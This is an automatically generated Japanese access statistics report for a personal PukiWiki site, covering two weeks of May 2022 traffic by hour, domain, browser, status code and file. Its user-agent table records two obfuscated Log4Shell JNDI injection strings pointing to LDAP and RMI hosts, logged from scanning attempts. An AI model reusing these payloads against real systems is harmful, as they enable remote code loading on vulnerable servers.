統計開始日時 : 2022年 5月20日(金) 07時36分.
解析対象期間 : 2022年 5月06日(金) 00時01分 ~ 2022年 5月19日(木) 23時58分 (14.00 日).
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
括弧内の数字は 右の日時までの直近7日間の集計 : 2022年 5月19日 23時59分.
リクエスト成功件数: 13,215 (5,229)
上記の日別平均: 943 (746)
ページリクエスト成功件数: 1,179 (482)
上記の日別平均: 84 (68)
リクエスト不成功件数: 3,986 (1,436)
リクエストリダイレクション件数: 2 (1)
異なるリクエストファイル数: 7,577 (3,603)
異なるサービスホスト数: 907 (464)
異常ログ行数: 35
不必要ログ項目数: 876,226
データ転送量: 347.32 メガバイト (118.27 メガバイト)
上記の日別平均: 24.81 メガバイト (16.90 メガバイト)
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
1単位 () は 50 ページリクエスト件数 あるいはその値未満を表す.
月 | リクエスト件数 | ページ数 | |
---|---|---|---|
2022年 5月 | 13215 | 1179 | ![]() ![]() |
最も混雑した月 : 2022年 5月 (1,179 ページリクエスト件数).
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
1単位 () は 5 ページリクエスト件数 あるいはその値未満を表す.
年月日 | リクエスト件数 | ページ数 | |
---|---|---|---|
2022年 5月 6日 | 963 | 102 | ![]() ![]() ![]() |
2022年 5月 7日 | 1240 | 86 | ![]() ![]() |
2022年 5月 8日 | 1285 | 96 | ![]() ![]() |
2022年 5月 9日 | 1204 | 97 | ![]() ![]() |
2022年 5月10日 | 1184 | 111 | ![]() ![]() ![]() ![]() |
2022年 5月11日 | 1142 | 104 | ![]() ![]() ![]() |
2022年 5月12日 | 968 | 101 | ![]() ![]() ![]() |
2022年 5月13日 | 1203 | 86 | ![]() ![]() |
2022年 5月14日 | 1010 | 102 | ![]() ![]() ![]() |
2022年 5月15日 | 115 | 7 | ![]() |
2022年 5月16日 | 15 | 0 | |
2022年 5月17日 | 1069 | 97 | ![]() ![]() |
2022年 5月18日 | 809 | 87 | ![]() ![]() |
2022年 5月19日 | 1008 | 103 | ![]() ![]() ![]() |
最も混雑した日 : 2022年 5月10日 (111 ページリクエスト件数).
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
1単位 () は 6 ページリクエスト件数 あるいはその値未満を表す.
日 | リクエスト件数 | ページ数 | |
---|---|---|---|
日 | 1400 | 103 | ![]() ![]() |
月 | 1219 | 97 | ![]() ![]() |
火 | 2253 | 208 | ![]() ![]() ![]() |
水 | 1951 | 191 | ![]() |
木 | 1976 | 204 | ![]() ![]() |
金 | 2166 | 188 | ![]() |
土 | 2250 | 188 | ![]() |
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
1単位 () は 2 ページリクエスト件数 あるいはその値未満を表す.
時間 | リクエスト件数 | ページ数 | |
---|---|---|---|
日曜日 00時00分–01時00分 | 57 | 4 | ![]() |
日曜日 01時00分–02時00分 | 66 | 10 | ![]() ![]() |
日曜日 02時00分–03時00分 | 57 | 3 | ![]() |
日曜日 03時00分–04時00分 | 42 | 4 | ![]() |
日曜日 04時00分–05時00分 | 29 | 3 | ![]() |
日曜日 05時00分–06時00分 | 32 | 0 | |
日曜日 06時00分–07時00分 | 34 | 5 | ![]() ![]() |
日曜日 07時00分–08時00分 | 45 | 5 | ![]() ![]() |
日曜日 08時00分–09時00分 | 32 | 8 | ![]() |
日曜日 09時00分–10時00分 | 36 | 2 | ![]() |
日曜日 10時00分–11時00分 | 35 | 1 | ![]() |
日曜日 11時00分–12時00分 | 106 | 6 | ![]() ![]() |
日曜日 12時00分–13時00分 | 40 | 3 | ![]() |
日曜日 13時00分–14時00分 | 44 | 5 | ![]() ![]() |
日曜日 14時00分–15時00分 | 28 | 3 | ![]() |
日曜日 15時00分–16時00分 | 93 | 4 | ![]() |
日曜日 16時00分–17時00分 | 89 | 3 | ![]() |
日曜日 17時00分–18時00分 | 140 | 1 | ![]() |
日曜日 18時00分–19時00分 | 60 | 1 | ![]() |
日曜日 19時00分–20時00分 | 113 | 10 | ![]() ![]() |
日曜日 20時00分–21時00分 | 42 | 4 | ![]() |
日曜日 21時00分–22時00分 | 65 | 8 | ![]() |
日曜日 22時00分–23時00分 | 66 | 4 | ![]() |
日曜日 23時00分–24時00分 | 49 | 6 | ![]() ![]() |
月曜日 00時00分–01時00分 | 50 | 1 | ![]() |
月曜日 01時00分–02時00分 | 70 | 2 | ![]() |
月曜日 02時00分–03時00分 | 37 | 6 | ![]() ![]() |
月曜日 03時00分–04時00分 | 31 | 0 | |
月曜日 04時00分–05時00分 | 89 | 2 | ![]() |
月曜日 05時00分–06時00分 | 89 | 2 | ![]() |
月曜日 06時00分–07時00分 | 30 | 4 | ![]() |
月曜日 07時00分–08時00分 | 28 | 2 | ![]() |
月曜日 08時00分–09時00分 | 44 | 4 | ![]() |
月曜日 09時00分–10時00分 | 122 | 8 | ![]() |
月曜日 10時00分–11時00分 | 78 | 2 | ![]() |
月曜日 11時00分–12時00分 | 51 | 8 | ![]() |
月曜日 12時00分–13時00分 | 67 | 4 | ![]() |
月曜日 13時00分–14時00分 | 37 | 1 | ![]() |
月曜日 14時00分–15時00分 | 35 | 2 | ![]() |
月曜日 15時00分–16時00分 | 40 | 5 | ![]() ![]() |
月曜日 16時00分–17時00分 | 40 | 6 | ![]() ![]() |
月曜日 17時00分–18時00分 | 58 | 15 | ![]() |
月曜日 18時00分–19時00分 | 41 | 10 | ![]() ![]() |
月曜日 19時00分–20時00分 | 40 | 3 | ![]() |
月曜日 20時00分–21時00分 | 37 | 1 | ![]() |
月曜日 21時00分–22時00分 | 42 | 8 | ![]() |
月曜日 22時00分–23時00分 | 28 | 1 | ![]() |
月曜日 23時00分–24時00分 | 35 | 0 | |
火曜日 00時00分–01時00分 | 79 | 8 | ![]() |
火曜日 01時00分–02時00分 | 112 | 14 | ![]() ![]() ![]() |
火曜日 02時00分–03時00分 | 75 | 5 | ![]() ![]() |
火曜日 03時00分–04時00分 | 97 | 5 | ![]() ![]() |
火曜日 04時00分–05時00分 | 79 | 3 | ![]() |
火曜日 05時00分–06時00分 | 81 | 9 | ![]() ![]() |
火曜日 06時00分–07時00分 | 71 | 2 | ![]() |
火曜日 07時00分–08時00分 | 68 | 2 | ![]() |
火曜日 08時00分–09時00分 | 85 | 14 | ![]() ![]() ![]() |
火曜日 09時00分–10時00分 | 94 | 4 | ![]() |
火曜日 10時00分–11時00分 | 122 | 14 | ![]() ![]() ![]() |
火曜日 11時00分–12時00分 | 122 | 12 | ![]() ![]() |
火曜日 12時00分–13時00分 | 77 | 3 | ![]() |
火曜日 13時00分–14時00分 | 168 | 8 | ![]() |
火曜日 14時00分–15時00分 | 86 | 10 | ![]() ![]() |
火曜日 15時00分–16時00分 | 101 | 9 | ![]() ![]() |
火曜日 16時00分–17時00分 | 93 | 9 | ![]() ![]() |
火曜日 17時00分–18時00分 | 108 | 14 | ![]() ![]() ![]() |
火曜日 18時00分–19時00分 | 111 | 25 | ![]() ![]() ![]() |
火曜日 19時00分–20時00分 | 96 | 5 | ![]() ![]() |
火曜日 20時00分–21時00分 | 84 | 5 | ![]() ![]() |
火曜日 21時00分–22時00分 | 68 | 10 | ![]() ![]() |
火曜日 22時00分–23時00分 | 95 | 10 | ![]() ![]() |
火曜日 23時00分–24時00分 | 81 | 8 | ![]() |
水曜日 00時00分–01時00分 | 69 | 3 | ![]() |
水曜日 01時00分–02時00分 | 63 | 5 | ![]() ![]() |
水曜日 02時00分–03時00分 | 142 | 7 | ![]() |
水曜日 03時00分–04時00分 | 67 | 6 | ![]() ![]() |
水曜日 04時00分–05時00分 | 68 | 3 | ![]() |
水曜日 05時00分–06時00分 | 85 | 7 | ![]() |
水曜日 06時00分–07時00分 | 55 | 3 | ![]() |
水曜日 07時00分–08時00分 | 66 | 12 | ![]() ![]() |
水曜日 08時00分–09時00分 | 93 | 16 | ![]() |
水曜日 09時00分–10時00分 | 117 | 8 | ![]() |
水曜日 10時00分–11時00分 | 50 | 4 | ![]() |
水曜日 11時00分–12時00分 | 98 | 14 | ![]() ![]() ![]() |
水曜日 12時00分–13時00分 | 75 | 6 | ![]() ![]() |
水曜日 13時00分–14時00分 | 62 | 17 | ![]() ![]() |
水曜日 14時00分–15時00分 | 76 | 9 | ![]() ![]() |
水曜日 15時00分–16時00分 | 84 | 5 | ![]() ![]() |
水曜日 16時00分–17時00分 | 81 | 7 | ![]() |
水曜日 17時00分–18時00分 | 147 | 12 | ![]() ![]() |
水曜日 18時00分–19時00分 | 85 | 13 | ![]() ![]() ![]() |
水曜日 19時00分–20時00分 | 90 | 8 | ![]() |
水曜日 20時00分–21時00分 | 75 | 7 | ![]() |
水曜日 21時00分–22時00分 | 92 | 8 | ![]() |
水曜日 22時00分–23時00分 | 52 | 5 | ![]() ![]() |
水曜日 23時00分–24時00分 | 59 | 6 | ![]() ![]() |
木曜日 00時00分–01時00分 | 50 | 5 | ![]() ![]() |
木曜日 01時00分–02時00分 | 62 | 8 | ![]() |
木曜日 02時00分–03時00分 | 98 | 17 | ![]() ![]() |
木曜日 03時00分–04時00分 | 53 | 3 | ![]() |
木曜日 04時00分–05時00分 | 40 | 8 | ![]() |
木曜日 05時00分–06時00分 | 71 | 7 | ![]() |
木曜日 06時00分–07時00分 | 54 | 7 | ![]() |
木曜日 07時00分–08時00分 | 63 | 9 | ![]() ![]() |
木曜日 08時00分–09時00分 | 129 | 15 | ![]() |
木曜日 09時00分–10時00分 | 60 | 8 | ![]() |
木曜日 10時00分–11時00分 | 64 | 10 | ![]() ![]() |
木曜日 11時00分–12時00分 | 99 | 9 | ![]() ![]() |
木曜日 12時00分–13時00分 | 102 | 9 | ![]() ![]() |
木曜日 13時00分–14時00分 | 92 | 14 | ![]() ![]() ![]() |
木曜日 14時00分–15時00分 | 91 | 12 | ![]() ![]() |
木曜日 15時00分–16時00分 | 84 | 3 | ![]() |
木曜日 16時00分–17時00分 | 102 | 12 | ![]() ![]() |
木曜日 17時00分–18時00分 | 71 | 4 | ![]() |
木曜日 18時00分–19時00分 | 83 | 7 | ![]() |
木曜日 19時00分–20時00分 | 95 | 8 | ![]() |
木曜日 20時00分–21時00分 | 96 | 4 | ![]() |
木曜日 21時00分–22時00分 | 93 | 8 | ![]() |
木曜日 22時00分–23時00分 | 122 | 11 | ![]() ![]() |
木曜日 23時00分–24時00分 | 102 | 6 | ![]() ![]() |
金曜日 00時00分–01時00分 | 90 | 12 | ![]() ![]() |
金曜日 01時00分–02時00分 | 98 | 9 | ![]() ![]() |
金曜日 02時00分–03時00分 | 86 | 6 | ![]() ![]() |
金曜日 03時00分–04時00分 | 92 | 5 | ![]() ![]() |
金曜日 04時00分–05時00分 | 98 | 18 | ![]() ![]() |
金曜日 05時00分–06時00分 | 108 | 6 | ![]() ![]() |
金曜日 06時00分–07時00分 | 85 | 6 | ![]() ![]() |
金曜日 07時00分–08時00分 | 68 | 4 | ![]() |
金曜日 08時00分–09時00分 | 79 | 6 | ![]() ![]() |
金曜日 09時00分–10時00分 | 94 | 8 | ![]() |
金曜日 10時00分–11時00分 | 84 | 14 | ![]() ![]() ![]() |
金曜日 11時00分–12時00分 | 91 | 8 | ![]() |
金曜日 12時00分–13時00分 | 106 | 12 | ![]() ![]() |
金曜日 13時00分–14時00分 | 76 | 7 | ![]() |
金曜日 14時00分–15時00分 | 96 | 8 | ![]() |
金曜日 15時00分–16時00分 | 62 | 6 | ![]() ![]() |
金曜日 16時00分–17時00分 | 72 | 9 | ![]() ![]() |
金曜日 17時00分–18時00分 | 112 | 8 | ![]() |
金曜日 18時00分–19時00分 | 83 | 6 | ![]() ![]() |
金曜日 19時00分–20時00分 | 99 | 5 | ![]() ![]() |
金曜日 20時00分–21時00分 | 94 | 7 | ![]() |
金曜日 21時00分–22時00分 | 90 | 7 | ![]() |
金曜日 22時00分–23時00分 | 110 | 9 | ![]() ![]() |
金曜日 23時00分–24時00分 | 93 | 2 | ![]() |
土曜日 00時00分–01時00分 | 87 | 10 | ![]() ![]() |
土曜日 01時00分–02時00分 | 95 | 13 | ![]() ![]() ![]() |
土曜日 02時00分–03時00分 | 121 | 5 | ![]() ![]() |
土曜日 03時00分–04時00分 | 99 | 8 | ![]() |
土曜日 04時00分–05時00分 | 90 | 3 | ![]() |
土曜日 05時00分–06時00分 | 92 | 10 | ![]() ![]() |
土曜日 06時00分–07時00分 | 87 | 3 | ![]() |
土曜日 07時00分–08時00分 | 106 | 4 | ![]() |
土曜日 08時00分–09時00分 | 83 | 8 | ![]() |
土曜日 09時00分–10時00分 | 130 | 23 | ![]() ![]() |
土曜日 10時00分–11時00分 | 99 | 11 | ![]() ![]() |
土曜日 11時00分–12時00分 | 90 | 8 | ![]() |
土曜日 12時00分–13時00分 | 91 | 6 | ![]() ![]() |
土曜日 13時00分–14時00分 | 94 | 8 | ![]() |
土曜日 14時00分–15時00分 | 79 | 10 | ![]() ![]() |
土曜日 15時00分–16時00分 | 96 | 10 | ![]() ![]() |
土曜日 16時00分–17時00分 | 84 | 4 | ![]() |
土曜日 17時00分–18時00分 | 93 | 3 | ![]() |
土曜日 18時00分–19時00分 | 80 | 4 | ![]() |
土曜日 19時00分–20時00分 | 87 | 5 | ![]() ![]() |
土曜日 20時00分–21時00分 | 86 | 8 | ![]() |
土曜日 21時00分–22時00分 | 106 | 11 | ![]() ![]() |
土曜日 22時00分–23時00分 | 89 | 8 | ![]() |
土曜日 23時00分–24時00分 | 86 | 5 | ![]() ![]() |
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
1単位 () は 3 ページリクエスト件数 あるいはその値未満を表す.
時間 | リクエスト件数 | ページ数 | |
---|---|---|---|
0時 | 482 | 43 | ![]() ![]() ![]() ![]() |
1時 | 566 | 61 | ![]() ![]() ![]() |
2時 | 616 | 49 | ![]() ![]() |
3時 | 481 | 31 | ![]() ![]() ![]() |
4時 | 493 | 40 | ![]() ![]() ![]() |
5時 | 558 | 41 | ![]() ![]() ![]() |
6時 | 416 | 30 | ![]() ![]() |
7時 | 444 | 38 | ![]() ![]() ![]() |
8時 | 545 | 71 | ![]() ![]() |
9時 | 653 | 61 | ![]() ![]() ![]() |
10時 | 532 | 56 | ![]() ![]() ![]() |
11時 | 657 | 65 | ![]() ![]() ![]() |
12時 | 558 | 43 | ![]() ![]() ![]() ![]() |
13時 | 573 | 60 | ![]() ![]() |
14時 | 491 | 54 | ![]() ![]() |
15時 | 560 | 42 | ![]() ![]() ![]() |
16時 | 561 | 50 | ![]() ![]() |
17時 | 729 | 57 | ![]() ![]() ![]() |
18時 | 543 | 66 | ![]() ![]() ![]() |
19時 | 620 | 44 | ![]() ![]() ![]() ![]() |
20時 | 514 | 36 | ![]() ![]() |
21時 | 556 | 60 | ![]() ![]() |
22時 | 562 | 48 | ![]() |
23時 | 505 | 33 | ![]() ![]() ![]() |
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
扇型の角度 : 通信量.
ドメイン の表 :, ソート順は 通信量.
リクエスト件数 | バイト (%) | ドメイン |
---|---|---|
8783 | 48.20% | .com (商業組織) |
3242 | 37.21% | [未解決IPアドレス] |
710 | 13.95% | .jp (日本) |
69 | 0.18% | .net (ネットワーク) |
2 | 0.10% | .cn (中華人民共和国) |
56 | 0.08% | .org (非営利組織) |
18 | 0.07% | .de (ドイツ) |
31 | 0.03% | .ru (ロシア連邦) |
15 | 0.03% | .pl (ポーランド) |
9 | 0.03% | .gg (チャネル諸島ガーンジィ島) |
26 | 0.02% | [未知ドメイン名] |
9 | 0.02% | .io (英領インド洋地域) |
5 | 0.01% | .tr (トルコ) |
4 | 0.01% | .ar (アルゼンチン) |
4 | 0.01% | .it (イタリア) |
4 | 0.01% | .nz (ニュージーランド) |
211 | 0.01% | [ドメイン名未付与] |
2 | 0.01% | .hu (ハンガリー) |
2 | 0.01% | .br (ブラジル) |
3 | .vn (ベトナム) | |
1 | .bg (ブルガリア) | |
1 | .ps (パレスチナ) | |
1 | .ir (イラン) | |
1 | .uk (イギリス) | |
1 | .ly (リビア) | |
1 | .gq (赤道ギニア) | |
1 | .co (コロンビア) | |
1 | .in (インド) | |
1 | .gr (ギリシャ) | |
1 | .tv (ツバル) |
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
扇型の角度 : リクエスト数.
上位 20 組織 の表 : 基準は リクエスト数, ソート順は リクエスト数.
リクエスト件数 | バイト (%) | 組織 |
---|---|---|
4258 | 6.88% | semrush.com |
3262 | 22.22% | msn.com |
2727 | 26.48% | 216.244 |
566 | 12.51% | ahrefs.com |
338 | 4.62% | line-apps.com |
229 | 0.26% | dion.ne.jp |
217 | 0.10% | sakura.ne.jp |
211 | 0.01% | [ドメイン名未付与] |
76 | 0.71% | apple.com |
75 | 0.94% | amazonaws.com |
51 | 0.13% | seesaa.jp |
51 | 0.10% | ocn.ne.jp |
43 | 0.06% | 45 |
43 | 0.02% | 168.138 |
42 | 0.05% | googleusercontent.com |
42 | 0.18% | 66.160 |
39 | 0.03% | internet-census.org |
29 | 0.03% | [未知ドメイン名] |
28 | 0.02% | mail.ru |
27 | 0.06% | linodeusercontent.com |
861 | 24.58% | [その他: 280 組織] |
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
扇型の角度 : リクエスト数.
参照元URL の表 :, ソート順は リクエスト数.
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
扇型の角度 : ページリクエスト件数.
上位 20 ブラウザ の表 : 基準は ページリクエスト件数, ソート順は ページリクエスト件数.
番号 | リクエスト件数 | ページ数 | ブラウザ |
---|---|---|---|
1 | 973 | 442 | Safari |
567 | 330 | Safari/537 | |
94 | 60 | Safari/605 | |
20 | 20 | Safari/6531 | |
237 | 15 | Safari/604 | |
14 | 14 | Safari/601 | |
3 | 3 | Safari/534 | |
2 | 11201 | 375 | Netscape (compatible) |
3 | 124 | 54 | Firefox |
33 | 13 | Firefox/100 | |
9 | 9 | Firefox/77 | |
5 | 5 | Firefox/8 | |
13 | 4 | Firefox/71 | |
8 | 4 | Firefox/99 | |
4 | 4 | Firefox/9 | |
3 | 3 | Firefox/47 | |
3 | 3 | Firefox/76 | |
4 | 3 | Firefox/101 | |
2 | 2 | Firefox/54 | |
4 | 44 | 37 | Mozilla |
4 | 4 | Mozilla/1 | |
5 | 54 | 28 | The Knowledge AI |
6 | 26 | 26 | curl |
26 | 26 | curl/7 | |
7 | 23 | 23 | python-requests |
23 | 23 | python-requests/2 | |
8 | 15 | 15 | Hello World |
9 | 15 | 5 | Hatena-Favicon |
15 | 5 | Hatena-Favicon/2 | |
10 | 5 | 5 | masscan |
5 | 5 | masscan/1 | |
11 | 4 | 4 | NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com |
12 | 4 | 4 | https: |
4 | 4 | https://gdnplus | |
13 | 4 | 4 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
4 | 4 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
14 | 4 | 4 | t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:} |
4 | 4 | t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150 | |
15 | 5 | 4 | MSIE |
4 | 4 | MSIE/9 | |
16 | 3 | 3 | Go-http-client |
3 | 3 | Go-http-client/1 | |
17 | 3 | 3 | Linux Gnu (cow) |
18 | 4 | 3 | Reeder |
3 | 3 | Reeder/3 | |
19 | 2 | 2 | ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}: |
2 | 2 | ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://62 | |
20 | 2 | 2 | ManicTime |
2 | 2 | ManicTime/5 | |
577 | 13 | [その他: 21 ブラウザ] |
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
扇型の角度 : ページリクエスト件数.
OS の表 :, ソート順は ページリクエスト件数.
番号 | リクエスト件数 | ページ数 | OS |
---|---|---|---|
1 | 11185 | 469 | 未知OS |
2 | 491 | 307 | Windows |
382 | 245 | Windows NT | |
95 | 50 | Windows 7 | |
5 | 5 | Windows XP | |
5 | 4 | その他のWindows | |
2 | 2 | Windows 2000 | |
2 | 1 | Windows Vista | |
3 | 266 | 127 | Macintosh |
4 | 163 | 83 | Unix |
163 | 83 | Linux | |
5 | 987 | 70 | ロボット |
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
扇型の角度 : リクエスト数.
ステータスコード の表 :, ソート順は状態コード.
リクエスト件数 | 状態コード |
---|---|
13207 | 200 OK |
2 | 301 恒久的移動 |
8 | 304 最近の検索以来変更無し |
119 | 400 不法リクエスト |
701 | 401 要認証 |
4 | 403 アクセス禁止 |
3053 | 404 ページ不在 |
4 | 405 不法メソッド |
104 | 408 時間切れ |
1 | 500 サーバ内部エラー |
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
扇型の角度 : リクエスト数.
サイズ | リクエスト件数 | バイト (%) |
---|---|---|
0 | 0 | |
1B- 10B | 0 | |
11B- 100B | 0 | |
101B- 1kB | 387 | 0.04% |
1kB- 10kB | 10187 | 10.50% |
10kB-100kB | 2306 | 16.04% |
100kB- 1MB | 242 | 20.02% |
1MB- 10MB | 93 | 53.40% |
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
扇型の角度 : 通信量.
拡張子 の表 : 最小は 0.1% の通信量, ソート順は 通信量.
リクエスト件数 | バイト (%) | 拡張子 |
---|---|---|
11648 | 97.68% | .php [PHP] |
733 | 1.21% | [ディレクトリ] |
446 | 0.67% | .html [Hypertext Markup Language] |
5 | 0.14% | .xml |
383 | 0.31% | [その他: 13 拡張子] |
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
扇型の角度 : 通信量.
ディレクトリ の表 : 最小は 0.01% の通信量, ソート順は 通信量.
リクエスト件数 | バイト (%) | ディレクトリ |
---|---|---|
12338 | 98.81% | /~imai/ |
639 | 1.10% | [ルートディレクトリ] |
21 | 0.07% | /analog/ |
217 | 0.01% | [その他: 3 ディレクトリ] |
(Go To: 先頭 | 全体の概要 | 月別レポート | 日別レポート | 曜日別集計 | 曜日別時間集計 | 時間別集計 | ドメインレポート | 組織別レポート | 参照元レポート | ブラウザ集計 | OSレポート | ステータスコードレポート | ファイルサイズレポート | ファイル種類別レポート | ディレクトリレポート | リクエストレポート)
扇型の角度 : リクエスト数.
上位 100 ファイル の表 : 基準は リクエスト数, ソート順は リクエスト数.
リクエスト件数 | バイト (%) | 最終アクセス時刻 | ファイル |
---|---|---|---|
11609 | 97.63% | 2022年 5月19日 23時58分 | /~imai/pukiwiki/pukiwiki.php |
272 | 0.09% | 2022年 5月19日 23時11分 | /~imai/pukiwiki/pukiwiki.php?cmd=rss |
207 | 0.21% | 2022年 5月19日 20時42分 | /~imai/pukiwiki/pukiwiki.php?%C6%FC%B5%AD/2008-04-20/QuickTime player %A4%C7%BA%C6%C0%B8%A4%C7%A4%AD%A4%CA%A4%A4 mp4 %A5%D5%A5%A1%A5%A4%A5%EB |
69 | 0.14% | 2022年 5月19日 20時10分 | /~imai/pukiwiki/pukiwiki.php?cmd=rss&ver=1.0 |
39 | 0.07% | 2022年 5月19日 21時22分 | /~imai/pukiwiki/pukiwiki.php?%C6%FC%B5%AD/2015-12-17/%C3%B1%B0%C2%C4%EA%A5%DE%A5%EB%A5%C1%A5%D0%A5%A4%A5%D6%A5%EC%A1%BC%A5%BFIC |
33 | 0.05% | 2022年 5月19日 15時39分 | /~imai/pukiwiki/pukiwiki.php?RecentChanges |
30 | 20.21% | 2022年 5月19日 06時19分 | /~imai/pukiwiki/pukiwiki.php?plugin=ref&page=%C6%FC%B5%AD/2020-06-22/Arduino Nano Every %A4%CE%A5%AF%A5%ED%A5%C3%A5%AF&src=IMG_20200620_151928.jpg |
